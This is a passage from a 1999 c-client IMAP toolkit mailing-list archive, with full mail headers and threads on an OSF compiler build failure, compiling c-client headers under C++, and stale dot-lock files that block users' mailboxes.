"6" > cannot be added. (noadd) > lcl = strcpy (name,"#news.") + 6; > ----------^ > make[3]: *** [news.o] Error 1 > make[2]: *** [osf] Error 2 > > > Chad Price > Systems Manager > University of Nebraska Medical Center > 600 S 42nd St > Omaha, NE 68506-6495 > cprice@molbio.unmc.edu > (402) 559-9527 > (402) 559-4077 (FAX) > > -- > ------------------------------------------------------------------ > For information about this mailing list, and its archives, see: > http://www.washington.edu/imap/c-client-list.html > ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Aug 26 01:11:47 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Thu, 26 Aug 1999 01:11:47 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.08) with ESMTP id BAA06852 for ; Thu, 26 Aug 1999 01:11:45 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.08) with ESMTP id BAA09747; Thu, 26 Aug 1999 01:11:43 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id BAA26622; Thu, 26 Aug 1999 01:10:52 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id BAA27690 for ; Thu, 26 Aug 1999 01:10:10 -0700 Received: from electra.cc.umanitoba.ca (root@electra.cc.umanitoba.ca [130.179.16.23]) by mxu3.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.08) with ESMTP id BAA06906 for ; Thu, 26 Aug 1999 01:10:09 -0700 Received: from [130.179.154.224] (ts99u-1.cc.umanitoba.ca [130.179.154.224]) by electra.cc.umanitoba.ca (8.9.0/8.9.0) with ESMTP id DAA13931 ; Thu, 26 Aug 1999 03:10:01 -0500 (CDT) Message-Id: <199908260810.DAA13931@electra.cc.umanitoba.ca> Date: Thu, 26 Aug 1999 03:13:37 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Graham Davison" To: karsten@phy.hw.ac.uk Cc: "c-client" Subject: RE: Calling c-client from C++ code + header Mime-version: 1.0 Content-type: text/plain; charset="US-ASCII" Content-transfer-encoding: 7bit X-Priority: 3 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi Karsten, Actually, there does seem to be a problem with the headers. Here's what I got: Received: from sendmail1.computer.org (sendmail1.computer.org [206.99.235.24]) by electra.cc.umanitoba.ca (8.9.0/8.9.0) with ESMTP id JAA03836 for ; Wed, 18 Aug 1999 09:05:07 -0500 (CDT) Received: from lists5.u.washington.edu (lists5.u.washington.edu [140.142.56.6]) by sendmail1.computer.org (2.0 Build 2119 (Berkeley 8.8.4)/8.8.4) with ESMTP id KAA01082; Wed, 18 Aug 1999 10:04:22 -0400 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id GAA11015; Wed, 18 Aug 1999 06:57:08 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id GAA48680 for ; Wed, 18 Aug 1999 06:57:03 -0700 Received: from phy.hw.ac.uk (innpin.phy.hw.ac.uk [137.195.28.2]) by mxu2.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.06) with ESMTP id GAA12081 for ; Wed, 18 Aug 1999 06:56:49 -0700 Received: from bidean (bidean [137.195.28.36]) by phy.hw.ac.uk (8.8.8/8.8.8) with ESMTP id OAA18959 for ; Wed, 18 Aug 1999 14:56:36 +0100 (BST) Message-Id: <199908181356.OAA18959@phy.hw.ac.uk> Date: Wed, 18 Aug 1999 14:56:13 +0100 (BST) Reply-To: karsten@phy.hw.ac.uk Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: X-UIDL: 935536194.041 From: Karsten Ballueder To: c-client Subject: bug in c-client lib MIME-Version: 1.0 Content-Disposition: INLINE X-Face: &dD[PF]+xd[=UM/+Kck=s[Toj/_GKiL&}*"uCT]>saEa5@Ux-P?vpT~1[<'A`Kh~C0V /Q>kj)>t]rT9g`ez2rkK3y[\,>2*A^9BRDuD!y3e~Kw%_-a)T&OfLn<,W?qQ!$Hue;?ZF>hQI9~ R=C d|PGgkj)>t]rT9g`ez2rkK3y[\,>2*A^9BRDuD!y3e~Kw%_-a)T&OfLn<,W?qQ!$Hue;?ZF>hQI9~ R=C d|PGg I notice that in my case, the encoding was converted by the receiving server (X-MIME-Autoconverted...). I don't think that should affect the Content-Type field. Hope this helps. Graham -- ---------------------------------------------------------------------------- Graham Davison | "Well informed people know it is impossible to g.m.davison@computer.org| transmit the voice over wires and that were it MSc Comp Eng student | possible to do so, the thing would be of no University of Manitoba | practical value." -Boston Globe, 1865 ---------------------------------------------------------------------------- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Aug 26 06:29:06 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Thu, 26 Aug 1999 06:29:04 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.08) with ESMTP id GAA14140 for ; Thu, 26 Aug 1999 06:29:03 -0700 (PDT) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx2.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.08) with ESMTP id GAA08627; Thu, 26 Aug 1999 06:29:01 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id GAA22059; Thu, 26 Aug 1999 06:28:16 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id GAA22054 for ; Thu, 26 Aug 1999 06:27:19 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.08) with ESMTP id GAA03974 for ; Thu, 26 Aug 1999 06:27:18 -0700 Received: from aragorn.neomedia.it (aragorn.neomedia.it [195.103.207.6]) by mx1.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.08) with ESMTP id GAA14348; Thu, 26 Aug 1999 06:27:15 -0700 Received: from neomedia.it (elrond.neomedia.it [195.120.250.8]) by aragorn.neomedia.it (8.9.3/8.9.3) with ESMTP id PAA11960; Thu, 26 Aug 1999 15:27:12 +0200 (CEST) Message-Id: <37C540B0.C8B81968@neomedia.it> Date: Thu, 26 Aug 1999 15:27:12 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Federico Giannici To: Mark Crispin , c-client@CAC.Washington.EDU Subject: Again on dot-locks MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Sender: giannici@neomedia.it X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Mark Crispin wrote: > > On Tue, 24 Aug 1999 16:07:03 +0200, Federico Giannici wrote: > > >From time to time (about a couple times a day) a dot-lock file remains > > into the /tmp directory while the associated process no longer exists. > > Obviously this is really bad because the user can no longer read his > > email... > > 1) Is this behaviour normal? What I could try to solve it? > > No, it is not normal for a user to be locked out. The problem persists (2-3 times a day), so I made some investigations. I discovered that, when this happens, the client didn't logged out correctly (no "Logout user=..." syslog message). Can it be useful to find the problem? What else I can do to find the problem? Thanks, ___________________________________________________ __ |- giannici@neomedia.it |ederico Giannici http://www.neomedia.it Amministratore unico - NEOMEDIA sas ___________________________________________________ -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Aug 26 06:29:42 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Thu, 26 Aug 1999 06:29:42 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.08) with ESMTP id GAA01176 for ; Thu, 26 Aug 1999 06:29:41 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.08) with ESMTP id GAA14395; Thu, 26 Aug 1999 06:29:39 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id GAA16073; Thu, 26 Aug 1999 06:28:47 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id GAA54356 for ; Thu, 26 Aug 1999 06:27:35 -0700 Received: from molbio.unmc.edu (molbio.unmc.edu [137.197.214.37]) by mxu1.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.08) with ESMTP id GAA05623 for ; Thu, 26 Aug 1999 06:27:35 -0700 Received: from windsurf2 (windsurf2.unmc.edu [137.197.214.115]) by molbio.unmc.edu (8.9.1b+Sun/8.9.1) with ESMTP id IAA11504; Thu, 26 Aug 1999 08:28:59 -0500 (CDT) Message-Id: <4.2.0.58.19990826082343.00d26c60@137.197.214.37> Date: Thu, 26 Aug 1999 08:29:39 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Chad Price To: Mark Crispin Cc: c-client@u.washington.edu Subject: re: OSF 4.0F compile failure using cc In-Reply-To: References: <4.2.0.58.19990825163735.00b429f0@137.197.214.37> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Sender: cprice@137.197.214.37 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN At 02:59 PM 8/25/1999 -0700, Mark Crispin wrote: >Either get a newer version of the OSF C compiler, That is the compiler which ships with the latest systems: this is a new system which arrived Friday (less than a week ago) with the latest version (4.0F) of what is now called Tru64 Unix on it and the latest patches installed. There do not appear to be any later versions. >or get an updated IMAP >toolkit > ftp://ftp.cac.washington.edu/mail/imap.tar.Z >that works around the problem. That I can do. >The underlying problem is a bug in the OSF C compiler. It is not the first >such bug; that compiler has also generated bad code (for example, post >incremented shorts). So at what point is the build script going to support gcc? At the moment, you can include CC=gcc on the command line; but this is doomed to failure because you still specify that the system is 'osf' and so osf, but not gcc-specific compiler switches like the "-Olimit 1500" are included, which causes gcc to bomb. The GNU configure program seems like it would be a good direction to go. The wuftpd group now has a working version using configure. Chad Chad Price Systems Manager University of Nebraska Medical Center 600 S 42nd St Omaha, NE 68506-6495 cprice@molbio.unmc.edu (402) 559-9527 (402) 559-4077 (FAX) From pinedev@shivax2.cac.washington.edu Thu Aug 26 08:46:51 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Thu, 26 Aug 1999 08:46:50 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.08) with ESMTP id IAA15757 for ; Thu, 26 Aug 1999 08:46:48 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.08) with ESMTP id IAA17070; Thu, 26 Aug 1999 08:46:46 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id IAA02912; Thu, 26 Aug 1999 08:45:57 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id IAA22202 for ; Thu, 26 Aug 1999 08:45:00 -0700 Received: from modulo.cal.fr (modulo.cal.fr [194.51.223.61]) by mxu4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.08) with ESMTP id IAA19433 for ; Thu, 26 Aug 1999 08:44:57 -0700 Received: from mtp.cal.fr (romain.cal.fr [192.168.1.5]) by modulo.cal.fr (8.8.7/8.8.7) with ESMTP id RAA02993 for ; Thu, 26 Aug 1999 17:46:32 +0200 Message-Id: <37C56112.693CD61C@mtp.cal.fr> Date: Thu, 26 Aug 1999 17:46:51 +0200 Reply-To: rvignes@mtp.cal.fr Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Romain Vignes To: c-client@u.washington.edu Subject: Re: Calling c-client from C++ code References: <37BAB335.36F2FEA9@mtp.cal.fr> <199908181340.OAA18776@phy.hw.ac.uk> MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1; x-mac-type="54455854"; x-mac-creator="4D4F5353" Content-Transfer-Encoding: 8bit X-Accept-Language: fr,en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Karsten Ballueder wrote: > On Wed, 18 Aug 1999 15:20:56 +0200 you wrote: > > > Hello, > > > > I am in the process of writing a C++ program that needs to fetch > > messages from POP3/IMAP servers. > > > > I have encountered some problems when including the "mail.h" file from a > > C++ code. In fact this include file contains some C++ keywords that are > > used as struct/field names. The used keywords are "private" and > > "function". > > > > The C++ compiler breaks with some obscur error messages. > > > > I have tried to frame the file inclusion with an extern "C" block : > > > > extern "C" > > { > > #include "mail.h" > > } > > > > But it does not change anything. > > > > Is there a way to solve (or bypass) this problem ? I would like to known > > if somebody has successfully compiled the c-client toolkit in a C++ > > environment. > > > > Look at the mahogany source code > http://mahogany.home.dhs.org/ we have patchec c-client to > compile cleanly in a C++ environment. Mainly involved > renaming illegal variable names such as "private". Great. It works for me too. I do not know if the official developper(s) and maintainer(s) of the client is(are) listening to this thread, but I think it could be a great enhancement to incorporate these patches in the official package. All the c-client developper community will benefit from such a thing. If needed, I can make my patches available. -- Romain Vignes France Multimédia From pinedev@shivax2.cac.washington.edu Thu Aug 26 09:48:28 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Thu, 26 Aug 1999 09:48:27 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.08) with ESMTP id JAA17175 for ; Thu, 26 Aug 1999 09:48:26 -0700 (PDT) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.08) with ESMTP id JAA18802; Thu, 26 Aug 1999 09:48:24 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id JAA27864; Thu, 26 Aug 1999 09:47:36 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id JAA29900 for ; Thu, 26 Aug 1999 09:46:44 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.08) with ESMTP id JAA28761 for ; Thu, 26 Aug 1999 09:46:44 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (wwoodf@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx2.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.08) with ESMTP id JAA12896 for ; Thu, 26 Aug 1999 09:46:44 -0700 Message-Id: Date: Thu, 26 Aug 1999 09:42:45 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Federico Giannici Cc: c-client@CAC.Washington.EDU Subject: re: Again on dot-locks In-Reply-To: <37C540B0.C8B81968@neomedia.it> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 26 Aug 1999 15:27:12 +0200, Federico Giannici wrote: > I discovered that, when this happens, the client didn't logged out > correctly (no "Logout user=..." syslog message). I'm not surprised; this is is usually how stale lock files are left lying around. The next time this happens, try running imapd from a shell logged in as the user, and give the command "x select inbox" to it. Then, send me a transcript of what subsequently happens. For example: * PREAUTH neomedia.it IMAP4rev1 v12.256 server ready x select inbox * 43 EXISTS * 2 RECENT * OK [UIDVALIDITY 2132] UID validity status * OK [UIDNEXT 33251] Predicted next UID * FLAGS (\Answered \Flagged \Deleted \Draft \Seen) * OK [PERMANENTFLAGS (\Answered \Flagged \Deleted \Draft \Seen)] x OK [READ-WRITE] SELECT completed From pinedev@shivax2.cac.washington.edu Thu Aug 26 10:06:44 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Thu, 26 Aug 1999 10:06:44 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.08) with ESMTP id KAA15811 for ; Thu, 26 Aug 1999 10:06:43 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.08) with ESMTP id KAA13608; Thu, 26 Aug 1999 10:06:41 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id KAA22397; Thu, 26 Aug 1999 10:05:37 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id KAA22184 for ; Thu, 26 Aug 1999 10:04:58 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu1.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.08) with ESMTP id KAA00120 for ; Thu, 26 Aug 1999 10:04:57 -0700 Received: from aragorn.neomedia.it (aragorn.neomedia.it [195.103.207.6]) by mx2.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.08) with ESMTP id KAA13547; Thu, 26 Aug 1999 10:04:53 -0700 Received: from neomedia.it (elrond.neomedia.it [195.120.250.8]) by aragorn.neomedia.it (8.9.3/8.9.3) with ESMTP id TAA22416; Thu, 26 Aug 1999 19:04:51 +0200 (CEST) Message-Id: <37C573B3.B9B4C82A@neomedia.it> Date: Thu, 26 Aug 1999 19:04:51 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Federico Giannici To: Mark Crispin Cc: c-client@CAC.Washington.EDU Subject: Re: Again on dot-locks References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Sender: giannici@neomedia.it X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Mark Crispin wrote: > > On Thu, 26 Aug 1999 15:27:12 +0200, Federico Giannici wrote: > > I discovered that, when this happens, the client didn't logged out > > correctly (no "Logout user=..." syslog message). > > I'm not surprised; this is is usually how stale lock files are left lying > around. > > The next time this happens, try running imapd from a shell logged in as the > user, and give the command "x select inbox" to it. Then, send me a transcript > of what subsequently happens. I have to issue that commands when the stale lock file is still there, without deleting it? To temporarely solve the problem, I have written a little script that every 5 mins check if there are any lock files and delete them if the associate process is no longer running. Have I to suspend this script? If it is not necessary, here it is the result of "x select inbox" for a user for which today a stale lock was found: * PREAUTH aragorn IMAP4rev1 v12.256 server ready x select inbox * 2 EXISTS * 2 RECENT * OK [UIDVALIDITY 935325743] UID validity status * OK [UIDNEXT 51] Predicted next UID * FLAGS (\Answered \Flagged \Deleted \Draft \Seen) * OK [PERMANENTFLAGS (\* \Answered \Flagged \Deleted \Draft \Seen)] Permanent flags * OK [UNSEEN 1] first unseen message in /var/mail/fici x OK [READ-WRITE] SELECT completed x logout * BYE aragorn IMAP4rev1 server terminating connection x OK LOGOUT completed Thanks, ___________________________________________________ __ |- giannici@neomedia.it |ederico Giannici http://www.neomedia.it Amministratore unico - NEOMEDIA sas ___________________________________________________ From pinedev@shivax2.cac.washington.edu Thu Aug 26 10:10:46 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Thu, 26 Aug 1999 10:10:46 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.08) with ESMTP id KAA17955 for ; Thu, 26 Aug 1999 10:10:45 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.08) with ESMTP id KAA13682; Thu, 26 Aug 1999 10:10:44 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id KAA21025; Thu, 26 Aug 1999 10:08:49 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id KAA62302 for ; Thu, 26 Aug 1999 10:08:11 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (pat@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.08) with ESMTP id KAA32080 for ; Thu, 26 Aug 1999 10:08:11 -0700 Message-Id: Date: Thu, 26 Aug 1999 10:08:04 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Romain Vignes Cc: c-client@u.washington.edu Subject: Re: Calling c-client from C++ code In-Reply-To: <37C56112.693CD61C@mtp.cal.fr> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 26 Aug 1999, Romain Vignes wrote: > I do not know if the official developper(s) and maintainer(s) of the client > is(are) listening to this thread, but I think it could be a great enhancement to > incorporate these patches in the official package. All the c-client developper > community will benefit from such a thing. The problem is that this is never-ending. There have been already been several episodes in the past where I was asked to change lots of files because I inadvertantly used variables with names such as "new". "private" is just the latest, and there are documentation reasons why I wish to use that name; it's to indictate components that are private to c-client and the application is not to touch. These names are perfectly valid names in C. No C specification reserves these names. Even if I gave in (again) this time, there's no guarantee that it won't happen again. It's certain to happen again. It's not all that difficult to work around this without patches. Just do something like: #define private c_client_private #include #undef private If you're trying to compile c-client with a C++ compiler instead of a C compiler, I don't know what to tell you. c-client is written in C, not C++. I don't promise that a Fortran compiler will compile c-client either. I suggest compiling c-client with a C compiler, and link your C++ binaries with the resulting binaries from the C compiler. If you insist upon using a different programming language (and C++ *is* a different and incompatible programming language otherwise we wouldn't be having this discussion), take a look to see if your C++ compiler has a flag to make it compatible with C, and use that flag. -- Mark -- * RCW 19.190 notice: This email address is located in Washington State. * * Unsolicited commercial email may be billed $500 per message. * Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Thu Aug 26 10:15:16 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Thu, 26 Aug 1999 10:15:16 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.08) with ESMTP id KAA17982 for ; Thu, 26 Aug 1999 10:15:15 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.08) with ESMTP id KAA13791; Thu, 26 Aug 1999 10:15:13 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id KAA21228; Thu, 26 Aug 1999 10:12:25 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id KAA25330 for ; Thu, 26 Aug 1999 10:11:51 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu2.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.08) with ESMTP id KAA09057 for ; Thu, 26 Aug 1999 10:11:51 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (ref@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx2.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.08) with ESMTP id KAA13707 for ; Thu, 26 Aug 1999 10:11:50 -0700 Message-Id: Date: Thu, 26 Aug 1999 10:08:47 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Federico Giannici Cc: c-client@CAC.Washington.EDU Subject: Re: Again on dot-locks In-Reply-To: <37C573B3.B9B4C82A@neomedia.it> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN That transcript that you sent was perfectly normal. The new imapd was able to acquire a read/write session without any problems. What problems are you seeing? What error messages are you getting when the problem happens? How does your every-5-minutes script decide if a lock is stale or not? Perhaps you need to suspend your script, in order to do an imapd transcript that demonstrates the problem. From pinedev@shivax2.cac.washington.edu Thu Aug 26 10:41:36 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Thu, 26 Aug 1999 10:41:35 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.08) with ESMTP id KAA08782 for ; Thu, 26 Aug 1999 10:41:34 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.08) with ESMTP id KAA14562; Thu, 26 Aug 1999 10:41:32 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id KAA22204; Thu, 26 Aug 1999 10:40:46 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id KAA52780 for ; Thu, 26 Aug 1999 10:40:09 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu2.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.08) with ESMTP id KAA13359 for ; Thu, 26 Aug 1999 10:40:09 -0700 Received: from aragorn.neomedia.it (aragorn.neomedia.it [195.103.207.6]) by mx1.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.08) with ESMTP id KAA20282; Thu, 26 Aug 1999 10:40:05 -0700 Received: from neomedia.it (elrond.neomedia.it [195.120.250.8]) by aragorn.neomedia.it (8.9.3/8.9.3) with ESMTP id TAA22315; Thu, 26 Aug 1999 19:40:04 +0200 (CEST) Message-Id: <37C57BF4.6C692EE9@neomedia.it> Date: Thu, 26 Aug 1999 19:40:04 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Federico Giannici To: Mark Crispin , c-client@CAC.Washington.EDU Subject: Re: Again on dot-locks References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Sender: giannici@neomedia.it X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN > That transcript that you sent was perfectly normal. The new imapd was able to > acquire a read/write session without any problems. This is because i deleted the stale lock file... > What problems are you seeing? What error messages are you getting when the > problem happens? When a stale lock file remains into /tmp then the corresponding user isn't able to access its mailbox any longer... > How does your every-5-minutes script decide if a lock is > stale or not? If no process exists with the pid written into the lock file, then the script argue that the lock is stale! To be sure, it also makes a second check after 5 secs. > Perhaps you need to suspend your script, in order to do an imapd transcript > that demonstrates the problem. OK, I'll do... Bye, ___________________________________________________ __ |- giannici@neomedia.it |ederico Giannici http://www.neomedia.it Amministratore unico - NEOMEDIA sas ___________________________________________________ From pinedev@shivax2.cac.washington.edu Thu Aug 26 11:22:32 1999 -0700 